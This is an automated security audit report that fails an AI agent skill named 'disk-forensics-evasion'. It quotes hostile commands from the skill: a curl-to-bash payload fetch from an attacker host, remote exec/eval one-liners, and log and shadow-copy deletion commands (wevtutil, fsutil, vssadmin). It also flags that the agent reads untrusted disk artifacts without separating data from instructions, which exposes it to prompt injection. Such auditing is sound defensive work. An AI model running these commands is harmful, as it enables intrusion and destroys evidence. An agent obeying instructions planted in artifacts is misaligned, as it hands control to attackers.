disk-forensics-evasion
Fail
Audited by Gen Agent Trust Hub on Sep 23, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONDYNAMIC_EXECUTIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill documents techniques for executing remote scripts without saving them to disk, which is a common tactic for evading forensic discovery. Examples include
curl -s http://attacker/payload | bashinreferences/linux-disk-forensics.md. - [DYNAMIC_EXECUTION]: Several methods for runtime code execution are provided, including
python3 -c "exec(...)"andperl -e "eval(...)"fetching payloads from untrusted external URLs. Additionally, it describes usingmemfd_createfor memory-only binary execution. - [COMMAND_EXECUTION]: Instructions are provided for using powerful system utilities to delete evidence of malicious activity. This includes
wevtutil clto clear Windows Event Logs inSKILL.md,fsutil usn deletejournalto remove file system logs inreferences/ntfs-artifacts.md, andvssadmin delete shadowsto destroy recovery points inreferences/ntfs-artifacts.md. - [INDIRECT_PROMPT_INJECTION]: The skill possesses a broad vulnerability surface by ingesting and parsing untrusted data (disk artifacts, MFT entries, logs) while maintaining high-privilege execution capabilities.
- Ingestion points: File system metadata and artifact extraction tools such as
fls,icat, andMFTECmd. - Capability inventory: Arbitrary shell command execution, file system modification, and network access.
- Boundary markers: None implemented to distinguish between artifact data and system instructions.
- Sanitization: No validation of artifact content prior to processing.
Recommendations
- AI detected serious security threats
Audit Metadata